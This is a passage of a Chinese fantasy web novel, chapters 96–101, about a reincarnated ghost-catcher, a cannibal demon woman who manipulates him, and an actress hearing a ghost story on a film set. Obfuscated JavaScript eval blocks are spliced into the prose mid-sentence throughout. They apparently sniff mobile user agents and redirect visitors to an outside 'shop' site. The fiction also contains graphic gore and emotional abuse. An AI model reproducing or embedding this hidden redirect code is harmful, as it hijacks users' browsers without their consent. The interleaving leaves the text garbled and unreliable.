舒瑾安忍着剧痛把手一甩,将水蛇摔死,他提着金绮月离开水里,回到岸上。看着自己手上被蛇咬的伤痕,舒瑾安正想发怒,谁知他转眼一看,金绮月正泪眼汪汪地看着他,无比内疚地说:“对不起,瑾安小哥哥,我不是故意的。” 尽管知道金绮月八成就是故意的,但舒瑾安的怒意仍然一下子消失得干干净净。 金绮月突然抓起舒瑾安的手,吻上刚才水蛇咬的伤,女人的唇轻触男人的手,舒瑾安吓得连忙抽手,双颊发烫,紧张地说道:“没毒。” “没毒你也疼啊。让我亲亲你好不好。”金绮月故意说。 舒瑾安转头就跑。 从那天起,舒瑾安就开始梦到金绮月,梦境旖旎,导致舒瑾安觉得自己亵渎了金绮月,对金绮月充满愧疚。而金绮月则开始对舒瑾安施以恶意,比如用石灰撒在舒瑾安练功留下的伤口上,然后再可怜巴巴地说自己不是故意的,而舒瑾安因为对金绮月怀有愧疚,所以格外纵容金绮月。 金绮月也不是只给舒瑾安恶意,在发泄恶意之后,她又会忽然给予舒瑾安无微不至的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14081044|130847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 关爱。在金绮月一手鞭子一颗糖训狗一样的调.教下,舒瑾安深深陷了下去。 由于对金绮月滤镜很重,舒瑾安也开始觉得金绮月很可怜,觉得舒家对不起金绮月,他甚至觉得自己也对不起金绮月,因为是他从张家把金绮月接回天女城的。 我爱她,但我对不起她。舒瑾安心想。 我不知道怎么去爱一个人,但如果她要我死,我可以随时为她死。舒瑾安又想。 但她会让我为她死吗?舒瑾安悄悄看了一眼金绮月。 他知道金绮月并不爱他,金绮月一手鞭子一手糖的,只是在戏耍他,她对他明明心存恶意;偶尔给他好脸色,也只是想哄他把藏书阁的钥匙给她,她要进去看书,她只是在利用他。 但有时舒瑾安心里会不由自主地生发出些许可笑的期许,他会想:天女城那么多人,她怎么不对别人心存恶意,偏偏对我心存恶意?有藏书阁钥匙的又不止我一个人,她怎么不去哄骗别人,只来哄骗我?至少对她来说,我是特别的那个,不是吗? 这些话他反反复复地想,想得多了,也就真的信了。 96. 解铃还须系铃人 金绮月一直不老实,她想走,她之所以现在还留在天女城,是因为藏书阁里的书她还没看完,她还没找到复活鬼的方法。与此同时,外头渐渐起了流言蜚语,是有关舒家的,外面的人说,舒家把一个无家可归的孤女囚.禁在天女城,是想拿这个孤女做鼎炉。 为了平息流言,舒家长老有意将金绮月指给舒家适龄弟子为妻,让金绮月名正言顺地留在天女城,但金绮月可没那么听话,她不同意。 舒瑾安不知道长老选中的人是自己,虽然长老们经常夸他,但他不太自信,因为在同龄弟子的群体中他属于处在群体边缘的那一个,舒瑾安总觉得有更优秀的人排在他前面,毕竟捉鬼师很多,而助道者百年来就金绮月一个,长老们应该会把助道者指给最优秀的那个人。 舒瑾安假装不在意,心里偷偷酸楚,但舒瑾安不知道的是,自己在长老心目中就是最优秀的那个。 直到那天长老们设下迷香局时,舒瑾安依然不知道长老们选中的人是自己。 山洞里,受迷情香影响,舒瑾安神志恍惚,他的面颊在发烫,他的身体在变化。 他不知道是怎么回事,他也很惶恐,他还以为自己疯了,一些梦里发生的情景灌入他的脑中。 舒瑾安努力地保持理智,身体却不自觉地靠近金绮月。 让我抱抱她,哪怕一次也好。 放纵这么一次,哪怕死了都行。舒瑾安迷迷糊糊地想。 舒瑾安拥上了金绮月,拥上了他的欲望。 一夜未眠。 清醒之后,舒瑾安心中只剩下懊恼。 我怎么能做这样的事?舒瑾安心想。 看着一旁小小一只的金绮月蜷成一团,舒瑾安一边心疼一边骂自己:我真该死。 因为懊恼和自责,又因为一直怀着“她让我去死我就去死”的偏执心思,当金绮月把匕首递给舒瑾安,让他挖心给自己看的时候,舒瑾安真的挖了。 心脏挖出来后,金绮月惊喜地发现舒瑾安的心居然是颗十二窍玲珑心。 金绮月吃了十二窍玲珑心,然后化鬼,她变成了最厉害的神通鬼。 —————————————— 神通鬼现世,大难临头。 金绮月以杀人为乐,一座城池一座城池地杀过去,没人能阻止得了她。她赤着足踩在大片大片的鲜血上,手里抓着一条婴儿的手臂,正在“咯吱咯吱”地生吃。 金绮月吃得满嘴是血,她舔了舔嘴唇,心想果然变成鬼后就可以像村长爷爷他们一样吃生食不拉肚子了。 我终于彻底变得跟村长爷爷他们一样啦。金绮月开心地想。 只可惜他们都不在我身边。金绮月的心情又低落了下去。 舒家捉鬼师找到金绮月时,金绮月正在开心地吃人,她手里还拿着一条吃剩的腿骨,腿骨上还挂着血肉残渣,这场面太骇人,所有人都吓退了一步。 金绮月笑道:“嘻嘻,现在你们还敢摆布我吗?” 金绮月转了个圈,说:“变成鬼真好,越厉害的鬼越好!现在只有我能摆布别人,谁也不能摆布我,我自由啦!” “金绮月!”领头的舒家长老气得发抖,“你变成恶鬼,为祸世间,你不光害人,你还吃人!” 金绮月停了下来,眨巴眨巴眼睛,道:“吃人怎么啦?人也吃人啊,菜人、两脚羊什么的,不都是人吃人吗?凭什么只许人吃人,不许鬼吃人?至于害人……那就更可笑了,鬼害人,人不也一样害鬼吗?”她指着舒家的捉鬼师们说:“我知道村长爷爷他们就是被你们害死的!你们也害了我的家人啊!” “冥顽不灵!布阵!”长老大喝一声,舒家弟子立即布起捉鬼阵。 然而金绮月哈哈大笑,丝毫不惧,她边转圈边说:“别白费力气了,我这个级别的鬼,会怕你们的狗屁捉鬼阵?” 金绮月大战舒家捉鬼师,血流成河,流的都是舒家捉鬼师们的血。 就在他们交手时,一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14098247|130847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只白色小玩意“嗖”的一下从一旁飞了过去,是一只狐狸。 狐狸飞快地跑到天女城,在停尸处找到了舒瑾安的尸体。 有人去后山帮舒瑾安收了尸,他们看到舒瑾安的心脏被挖,不会想到是舒瑾安自己主动挖的心,还以为是金绮月变成神通鬼后杀了舒瑾安,挖了他的心,殊不知顺序是反过来的。 停尸房没有别人,狐狸摇身一变,变成了个女童。 女童戴着一顶毛茸茸的白帽子,看起来只有十岁、十一岁的样子,瓜子脸,狐狸眼,眼角高高吊起,一脸精明相。 她是狐狸神,就是500年后左轻白在落英谷遇到的那个狐狸神,不过这时候她还没修炼成一方守护神,只能叫她小狐狸。 “你怎么能把十二窍玲珑心给她呢?现在那只神通鬼谁也对付不了。”小狐狸恨铁不成钢地质问舒瑾安的尸体。 小狐狸手指灵活地动了动,她算了一卦,算到这卦相,小狐狸皱着眉叹气道:“命数如此啊……既然是你的心脏助她变成神通鬼的,解铃还须系铃人,500年后,一切还需要你来了结。” 小狐狸拿出两样东西,一样是弥月刃的刀柄,一样是弥月刃的刀尖碎片。 小狐狸说:“神通鬼要用弥月刃杀死,但弥月刃碎了,我手上只有刀柄和刀尖,刀尖我藏在你下次转世的心脏中,只有心碎时才会露出来并被刀柄感应到;至于刀柄,我先留着,日后给你找个帮手吧。” 小狐狸说完就离开了。此时舒瑾安已死,魂魄去往地府,小狐狸跟一具尸体说话,尸体是听不懂话的,而舒瑾安的魂魄已经走了,魂魄也没有听到小狐狸的话,所以舒瑾安对这些事情一无所知。 一般人死后不久就能轮回转世,但舒瑾安没有,由于是他的过失导致神通鬼现世,作为惩罚,舒瑾安的魂魄一直留在地府受刑,整整受了500年的刑,周夙是他轮回的第一世。让舒瑾安没想到的是,他转世成为周夙后,居然还带着舒瑾安的记忆。 97. 唯一的武器 舒瑾安成为周夙后,再见到金绮月,是在一场练习生见面会上,当时金绮月站在一堆练习生里,学着别人的样子,面对粉丝微笑。 别误会,金绮月并非沦落到要靠卖笑为生的地步,金绮月活得很好,500年里她什么都体验过,她当过富商也当过女皇,只要是她觉得新奇的身份,她都想当来玩玩。 金绮月是个体验者,到了现代社会,新职业变得越来越多,金绮月想把她觉得有趣的新职业都体验一遍,当一次明星也在她的体验计划之中,反正她有的是时间去浪费。 金绮月最不缺的就是时间,有时她也觉得孤独,觉得时间难熬。 周夙已经换了面貌,但金绮月还披着500年前的人皮,跟500年前长得一样。周夙看到金绮月的第一眼,就走不动了。 周夙被定住了似的,远远地看着金绮月,眼睛都不舍得眨一下。 喜欢的人只要多看一眼都想再次拥有。更何况舒瑾安与金绮月在山洞里那一夜,无论金绮月怎么想,舒瑾安都已经认定她是自己妻子。 周夙带着前世的记忆来到这个跟500年前截然不同的新时代,感到很不适应,他不知道自己为什么要来这里,他孤独地在新世界穿梭,与新世界格格不入,他活得很茫然,直到再见到金绮月,他登时觉得世界亮了起来,终于知道自己该做什么了。 于是周夙以近乎痴迷的态度,对金绮月展开了猛烈的追求。 不过金绮月还是那个恶劣的、爱戏耍人的坏种,周夙追求得越猛烈,金绮月耍他耍得就越放肆。 金绮月会假装忘记与周夙的约会,让周夙干等她一晚上;也会在寒冷的半夜非说自己不舒服,要周夙来她家看她,然而等周夙到了,她却不开门。 周夙从来都顺着金绮月,因为他记得前世山洞里发生的事,那件事让他觉得是自己欺负了金绮月,自己对不起金绮月;而且既然两人已有肌肤之亲,那么金绮月就是他实际上的妻子,既然是妻子,迁就一下又怎样呢? 周夙不会忘记前世山洞里那一晚,尽管很混乱,但那是他两辈子最快乐的一晚。 人是会被某个场景困住的,如果说金绮月被困在了那个大雪纷飞的鬼村里,周夙就是被困在了天女城后山的山洞里。 周夙近乎无理的迁就让金绮月这个见多识广的老鬼都觉得吃惊,虽然不知道原因,但金绮月依然很受用,于是她同意了周夙当她的男朋友。金绮月虽然不爱周夙,但她希望周夙能永远这样无理地爱她,被爱的感觉那么好,没有人不喜欢。 在这个过程中,周夙也发现了一件事,那就是金绮月变成了一只鬼,还是只神通鬼。 周夙开始通过各种古籍去查他死 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14120258|130847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后发生的事,他窥探到了金绮月犯下的恶行,也查到了舒家是被金绮月灭的。 不可能!怎么会这样?周夙不敢相信。 周夙偷偷看金绮月,他问自己:我应该动手杀了她吗?像一个捉鬼师那样。 别说动手了,周夙光是这么想想,心脏就像被刀扎似的疼。 周夙捂着自己的心,他知道金绮月早就已经住了进去,再也出不来。 周夙下不了手的,他爱金绮月爱到了骨子里,尽管知道金绮月是个恶女加恶鬼,但他真的下不了手,伤害金绮月就相当于撕扯周夙的血肉。 周夙很痛苦。 人生一世不过短短几十年,为什么不能按照自己的心意活呢?周夙天人交战。 我知道这样很自私,但我要的真的不多,我只是希望这一世能拥抱我爱的人而已。周夙心想。 时间过去了500年,世上都已经没有捉鬼师了,我也已经不再是捉鬼师,我凭什么还要继续抓鬼?我只是周夙,我只按照我的意愿活着,我只爱我想爱的人,不可以吗? 周夙不停地给自己洗脑,最后他洗成功了,他不再去管什么神通鬼什么捉鬼师,他爱金绮月,那就去爱好了。 而与此同时,周夙并不知道,藏在他心脏里的弥月刃刀尖正隐隐发出寒光——弥月刃是杀死神通鬼唯一的武器。 98. 我都会去送的 周夙的公寓里,周夙终于熬过了寒毒的折磨,醒了过来。 他将回忆埋到心底,情绪恢复平静。 刚才寒毒发作的时候,周夙出了一身的汗,头上、身上黏糊糊的,周夙感到不舒服,便去浴室冲澡。 冲完澡,周夙没穿衣服,下半身裹着浴袍,上半身裸着,就这么出来了。 周夙身材不错,一米八几的身高,宽肩窄腰,该有肌肉的地方有肌肉,腿很长。 周夙相貌身材都是好的,只是气质阴郁内敛,没那么讨人喜欢,人们都喜欢开朗的人。 周夙一出去,就发现家里多了个人。 金绮月不知道什么时候来了,她赤着脚坐在客厅的沙发上,翘着二郎腿,双臂环在胸前。 周夙懊恼自己没把衣服穿好,脸一红,唤了声:“绮月?” 金绮月转过头,朝周夙勾勾手。 周夙果然乖乖过去了,坐在金绮月身边。 “这个时间洗哪门子的澡?”金绮月奇怪道。 “身上出了汗。”周夙没多说。 他知道金绮月不在意他,如果金绮月在意他,不会注意不到刚刚熬过寒毒的他嘴唇还有些发白,身体还有些虚弱。 金绮月果然什么都没发现,她凑了过去,在周夙赤.裸的胸前闻了闻,嘻嘻笑道:“新换的沐浴露味道真好闻。” 专门挑的你喜欢的香味。周夙在心里说。 金绮月突然拱进了周夙怀里。 金绮月经常主动对周夙做这种暧昧的动作,撩一撩周夙,但周夙知道这不是喜欢,她无聊而已。 一个500年的老鬼,哪那么容易喜欢人? “你怎么突然来了?”周夙抱住金绮月,问道。 “不能来?你给我钥匙,不就是让我随时都可以来的吗?”金绮月慵慵懒懒地说,她伸出一根手指,在周夙胸前画圈。 周夙赶紧抓住金绮月这只惹火的手。 “当然。”周夙说,“你随时都可以来。” 金绮月见周夙抓住了自己的手,便不高兴地甩开周夙的手,扁着嘴说:“周夙,你怎么这么无聊?” 周夙眼神一黯,心想:她嫌我无聊了? “我无聊吗?”周夙不仅心里想,还问了出来。 金绮月坐好,毫不客气地嫌弃道:“无聊透顶。” 这话很伤周夙的心。 不过金绮月是个训狗高手,给个巴掌后还不忘给颗糖,她转眼间就换了副笑脸,眼睛笑成月牙的模样,嗲嗲地说:“但我偏偏就喜欢逗你,一直以来我就只爱你这款的。周夙哥哥,你可太吸引我了!” 周夙在心里想:只爱这款?这款有不少人吧,我能排第几? 周夙看着金绮月,他早就知道金绮月是个什么样的人,可他依然迷恋她。 金绮月忽然搂上周夙的脖子,并亲了亲周夙的脸蛋。 周夙心想:她突然对我这么亲昵,怕不是有事相求。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14143814|130847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 果然,金绮月开口道:“帮我做件事吧,周夙哥哥。下月十五,帮我把一个东西送去给悼青山的景区管理员。别怕,那个景区管理员是人,不是鬼,他叫陈青。” “悼青山?” 悼青山在邻省,外围非常非常小的部分是已经开发的景区,而深处还是个原始森林,听说里面瘴气密布,还生活着不明生物,走进去的人就没有能出来的。 金绮月眨巴眨巴眼睛,说:“你不愿去吗?本来我是想自己去的,但是下月十五是金狮奖颁奖典礼,我入围了,我要去参加。” 周夙把金绮月搂着他脖子的双手拿了下来,有些疲惫地摇了摇头,说:“不是不愿,只是下次你找我做事,你直接告诉我就行了,不必整这些。” 周夙看着金绮月的眼睛,认真地说:“你知道的,我爱你,你让我做什么我就做什么,不必拿这些亲亲抱抱来交换。” 金绮月一愣。 金绮月其实没想交换,她只是单纯的心情不错所以想跟周夙贴贴。别逗了好吗,她是神通鬼,谁有资格跟她交换? 可能是刚熬过寒毒的缘故,周夙忽然有些头晕,他对金绮月说道:“不好意思绮月,我头有些晕,我想去房间躺会。” 说着,周夙从沙发上站起来。 “你就不问问我要送什么东西给陈青?”金绮月问。 “不问。”周夙毫不犹豫地问答,“你要送什么我都会去送的。”他说。 周夙走进了房间。 99. 里面有什么 一个星期后,周夙开车前往邻省悼青山。 金绮月让他去送的是一个中号的黑檀木木盒,木盒里有什么,周夙不清楚,他没打开看过。 与此同时,金绮月正在为金狮奖颁奖典礼做准备,团队为她挑选了好几套能惊艳四座的礼服;左轻白跟此次金狮奖无缘,她现在正在悼青山里,拍摄一部古装修仙剧。 由于玄逸占卜占出弥月刃藏在片场,所以左轻白接戏接得格外频繁,恨不得一直呆在片场,但现在左轻白有些怀疑玄逸占卜的准确性,因为她得到了弥月刃的刀柄和两块碎片,但其中只有一块碎片来自于片场,另外一块碎片是在周宅中找到的,而刀柄是狐狸神给她的,都不来自片场。 “师父占卜不准,他水平下降了。”左轻白大大咧咧地插着腰,埋怨道。 另一个世界的玄逸打了个大大的喷嚏。 此时左轻白就在悼青山片场,她没穿戏服,而是穿着一身运动装,手里拿着拍戏用的道具剑。 武指老师走过来,对左轻白说:“轻白老师,咱们继续。” 武指老师持剑舞了一套动作,问左轻白:“秦十安这个角色在剧本中擅长使剑,我为她设计了这套动作,轻白老师给点意见?” 左轻白托腮,摇了摇头,道:“差强人意,我觉得应该这样。” 说着,左轻白持剑在武指老师面前也舞了一轮,她的动作干净利落、行云流水。 左轻白说:“秦十安虽然是个女修,但性格非常飒爽,有点铁娘子的味道,我觉得她的动作应该更快一点,更狠一点,你刚才的动作太慢了,无法突出这个人物的飒。” 没错,左轻白在这部戏中不光演了一个角色,她还兼职武指。 与左轻白讨论动作的这个武指老师叫沈放,之前就跟左轻白合作过,第一次合作时沈放对左轻白十分轻蔑,因为他觉得现在的演员,尤其是女演员,没有武术功底,做不出他设计的动作,没想到左轻白不仅完美地完成了动作,还提出了非常专业的意见,沈放这才意识到,这姑娘是个真正的练家子,于是对左轻白另眼相看。 这次在悼青山拍摄的古装修仙剧中有大量的动作戏,需要设计很多武术动作,沈放知道左轻白的能力,于是提议让左轻白也参与到武术动作的设计中,左轻白欣然答应。 左轻白说完,沈放苦笑道:“是这个道理,但是以咱们演员的功底,恐怕做不到啊,需要降低动作难度。要是每个演员都像轻白老师这样打得这么漂亮,现在的动作戏也不至于这么难看。” 左轻白笑道:“我是练童子功的,怎么可能人人都跟我一样。” 这时,一旁的两名工作人员朝左轻白和沈放喊道:“轻白老师!沈放老师!过来休息一下,喝点饮料吧!” 左轻白和沈放放下家伙什,向他们走去。 两人给左轻白和沈放一人扔了一瓶饮料,并道:“辛苦了。” 四人坐在小马扎上休息,一人主动挑起聊天话题:“哎,金狮奖颁奖典礼就要到了,这届的影帝影后,你们看好谁啊?” “我觉得影帝没什么悬念,倒是影后比较有看头,入围的那几个都不错,很难绝择。” “我看好乔韵,你们呢?” “我觉得是桂红老师,桂红老师演的那个失独母亲多感人啊,而且她很敬业,为了拍电 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14151750|130847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 影,六十多岁了,在又脏又冷的河里呆了几个小时,还不用替身!” 沈放问左轻白:“轻白老师,你看好谁?” “金绮月吧。”左轻白脱口而出道。 左轻白不是猜的,她是真知道,原著中这次金狮奖最佳女主得主就是金绮月。 那三人面面相觑。 “最不可能的就是金绮月,虽然她演得也挺好,但她资历浅啊,其他几个都比她资历深,这次就没人看好她,她铁定陪跑。”一人说道。 左轻白喝了一口饮料,说:“但评这个奖又不是看资历的。” 沈放说:“如果真是金绮月,那就爆大冷门了。” 本来就是爆大冷门。左轻白在心里说。 原著里,金狮奖最佳女主花落金绮月,所有娱乐媒体报道的大标题都是“金狮奖影后爆大冷门”。 金绮月在候选人中的确是资历最浅的一个,但耐不住她是大女主啊,资历在命数面前算什么? 左轻白一口气把饮料喝完。 几人继续聊天。 大家在聊周围有什么好玩的,沈放忽然提醒:“哎,你们可千万注意啊,要玩就在景区里被人开发过的地方玩玩就可以了,千万别往里面走,里面没人敢进去。” “里面不就是原始森林吗?有什么不敢进去的?”一人笑道。 沈放“啧”了一声,说:“什么叫不就是原始森林吗?你是真不知道里面有什么。” “有什么?老虎?狮子?” “不,里面有鬼。”沈放神秘兮兮地说。 “里面有鬼?”作为一个捉鬼师,左轻白非但不怕,还两眼放光。 100. 感恩的心 “是啊,里面有鬼。”沈放一脸认真地说,“我之前在剧组认识了一个场务,现在我们还是好朋友,那哥们是悼青山本地人,他跟我讲过好多有关悼青山的恐怖故事。” “说来听听啊。”左轻白来了兴趣。 “就是,讲一个听听嘛。”另外两人也起哄。 “那我讲了啊,你们别被吓坏了。第一个,百鬼夜行……” “百鬼夜行是日本的叫法,咱们叫阴兵借道。”左轻白纠正道。 “行行行,阴兵借道。我那朋友的大伯年轻的时候是个伐木工,平时就在悼青山外围砍砍树,当然他不敢进到里面去。有天下午,他本该趁着太阳还没下山早早返程的,但或许是那天太累了,他竟然靠着一棵树睡着了,醒来时天已经黑了。四周阴森森的,大伯很害怕,他不敢在林子里呆太久,连忙站起来想要离开,但就在他站起来时,他突然看见了一道光亮,好像是一队人打着手电筒朝这边走来。” 沈放说到这,停顿了一会,一人迫不及待想听下面的故事,催促道:“然后呢?” 沈放继续说:“很快,那队打着手电筒的人走到了大伯跟前,一共有8个人,带队的那个人戴着眼镜,文质彬彬的样子,像是老师、教授之类的读书人,他对大伯说,他们是省城来的考古队,来考察悼青山里的一座古墓,没想到竟然迷路了,他看大伯是本地人,问大伯能不能当他们的向导。大伯说他可不敢到悼青山里面去,但那个带队的拿出了一沓现金塞给大伯,哎哟,那个年代的人缺钱啊,大伯家里还要修房子,尤其需要钱,大伯拒绝不了这笔钱,就收下了钱,答应给他们带路。大伯问他们要什么时候进山,领队的说就是现在。” “大晚上乌漆麻黑的怎么进山啊?”左轻白问。 “大伯问了同样的问题,带队的解释道他们是要去抢救古墓里的文物,去晚了文物可能就被破坏了,所以要抓紧时间,越快越好。”沈放解释道。 “大伯知道那队人要去哪吗就给人家带路?”一人问。 “那队人要找悼青山里的一座古墓,大伯知道那座古墓。” “不是没有人敢进山吗?怎么会知道山里有座墓?”另一人也问。 左轻白和另外两人跟三个好奇宝宝似的追着沈放问这问那。 “平时没有人敢进山,本地人只敢在山外围活动,唯独有一天,本地18到45岁之间的青壮年中必须要选几个人进山一趟,这一天就是七月十四,鬼节。”沈放说。 “这又是什么说法?”左轻白追着问。 沈放被这三人问得不耐烦,“嘿”了一声,不耐道:“你们别一直问,好好听我说完行不行?你们好奇的这些我都会讲的。” “哦。”左轻白尴尬地摸了摸鼻子。 “七月十四那天,悼青山附近的村子会选出十几个18到45岁之间的青壮年,在正午太阳最大的时候,抬着猪、羊、鸡、鸭这些祭品,深入悼青山里,找到那座古墓,用这些祭品祭奠古墓,然后必须赶在太阳下山之前出来,老人们嘱咐,从古墓离开的时候一定不要回头。大伯参与过一次送祭品,据他所说,古墓所在之地不见天日,周围的大树把天都遮得严严实实,四周很潮湿,有青草的香味,香味中又夹杂着不知道是什么东西腐烂的臭味,古墓很大,古怪的是它没有墓碑,就只有一座圆包立在那里,圆包长满了青苔,青苔上趴着蜘蛛和蜥蜴,格外阴森。” 另外两人听得入迷,左轻白则忍不住问了一句:“为什么不要回头?” “不知道,老祖宗这么说的。我朋友的大伯回忆说,他去送祭品那次,离开的时候没一个人敢回头,他走在队伍的最末端,他听到后面传来咀嚼的声音,好像有谁在吃那些祭品,边吃边小声地说:‘真香。’,那声音尖尖的,不像人的声音,像什么形容不出来。” 那两人听得起了鸡皮疙瘩,左轻白则催沈放调过头来讲考古队的事:“哦……哎,那考古队呢?考古队怎么样了?” “唉!什么考古队!那根本不是考古队!是什么东西都不知道!”沈放一锤大腿说。 沈放道:“我那朋友的大伯领着那队看似是考古队的人,沿着他记忆中古墓的方向走,他走在前面,一边走一边和跟在后面的那些考古队员聊天,大伯说:‘这个古墓的主人到底是谁啊?是古代什么将军、丞相之类的吗?哎,你们就应该早点来嘛,你们不来,我们这里的人一直以为那是个妖怪墓,把它传得特可怕,一天到晚自己吓自己……’他边走边自言自语,渐渐的发现后边没声了,于是他赶紧回头,你们猜怎么着?” “怎么着?”一人配合地问。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14195539|130847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “他身后一个人都没有!那队考古队员消失了!”沈放说。 “是不是夜晚看不清,走散了?” 沈放摇摇头,“我朋友的大伯一开始也这样认为,正准备去找,忽然,在他前方不远处毫无征兆地出现了一道光亮,是一队人打着手电筒朝这边走来。那队人走到大伯跟前,也是一队8个人,有一个领队的,领队的戴着眼镜,文质彬彬,大伯定眼一看,哎哟喂!这不就是同一队人吗?领队的人和队员都一样!大伯正想说‘你们去哪了,我正想去找你们呢’,结果,领队像是从没见过大伯一样,重复了一遍他第一次见大伯时说的话,他说他们是省城来的考古队,来考察悼青山里的一座古墓,没想到迷路了,问大伯能不能当他们的向导。” 左轻白和另外两人都感到后背凉飕飕的。 “确实好诡异。”一人说道。 “大伯借着手电筒的光亮去看他们的脸,发现他们一个个脸青白青白的,没有血色,给大伯吓得屁滚尿流地跑了,他狂奔许久才跑出悼青山,跑回家里。回家一看,之前那个考古队领队不是塞给大伯一沓钱吗,大伯回到家里一看,那根本不是钱,而是清明烧给死人的纸钱!从此我那朋友的大伯再也不敢靠近悼青山。” 沈放说完了,一人将信将疑道:“故事是很可怕,但真正发生过吗?不会是你朋友那时还小,而且不听话,你朋友的大伯编出来吓唬不听话的小孩的吧?” 沈放想了想,如实道:“其实我朋友跟我说的时候,我也这么怀疑过,但他说得有鼻子有眼的,不像是造假。” 沈放见左轻白不说话,便问:“轻白老师,你觉得是编的还是真的?” “真的啊。”左轻白毫不犹豫地说,并分析道:“那队考古队员就是鬼,而且是从那座古墓里爬出来的鬼,他们谎称是考古队,其实是想把你朋友的大伯骗到古墓去,然后吃掉,但最后他们并没有下手,或许是认出了你朋友的大伯曾经是送祭品队伍里的一员,他们感恩你朋友的大伯给他们送过祭品,才放了他一马。” 沈放惊讶得张开了嘴,说:“不是……轻白老师你这个猜测……还感恩?鬼还能拥有一颗感恩的心?” 他说到感恩的心的时候,顺手比划了两下那首歌的手语舞蹈。 另外那俩人被逗笑了。 101. 考古队归我路家管吗 几人正聊着天,忽然导演叫他们过去开会,开会内容是沟通一个大场面的动作戏。 遇到大场面动作戏时,动作组、编剧、导演以及服化道部门要提前开会沟通,动作组提出想法,编剧、导演把关,其他部门配合,还要提前画出分镜头,总之是一场大工程。 沈放是动作组的头头,他要去开会,演员可以不用去,左轻白是作为动作组的一员去的,她在这部剧里不是主角,算是友情出演,戏份不多,所以有精力参与动作组的工作。 左轻白对沈放开玩笑道:“沈哥,我跟你学到了很多东西,我以后要是不当演员了,就像你一样当武指去。” 沈放说:“开什么玩笑?我们武指武行才想转做演员呢,哪有演员想转武指的?” “沈哥也想当演员吗?” “想过,放弃了。” “为啥呀?” “演员别的不说,首先要好看,而且必须是上镜好看,那种镜头外长得还行,一上镜脸胖得跟什么似的,或者肌肉走向向下,上镜就是副苦瓜脸的,都不行。我形象这关就不OK,别想了。”沈放很有自知之明。 “说到形象,真的,现在圈里太卷了,新生代的男孩子女孩子一个比一个好看,圈里从来就不缺好看的人。”左轻白说。 “好看的太多了!但好看不一定能红,想红,要靠实力和运气,还有人脉。左老师,这些你都有,你能长红。” 长红?左轻白知道沈放只是顺嘴夸她罢了,不必当真。他们这些在剧组混久了的,多少有点油腔滑调,嘴像抹蜜一样,不过也是没办法的事,在外面跑生活,嘴不甜一点真的不好混,尤其是在最讲人情世故的剧组。 但左轻白没有讲人情世故的习惯,她来了就拍,拍完就走,别人拉帮结派搞小团体,她从来不搞,有点特立独行,不过左轻白有特立独行的资本,她有过硬的专业能力,而且谁都知道她是嘉烨娱乐老板的女朋友,背靠资本,还有一点,她在这一行上没有很强的往上爬的野心,只要不想往上爬,就没必要经营太多的关系网。 跟导演编剧开完会,左轻白和沈放又去跟武行沟通。 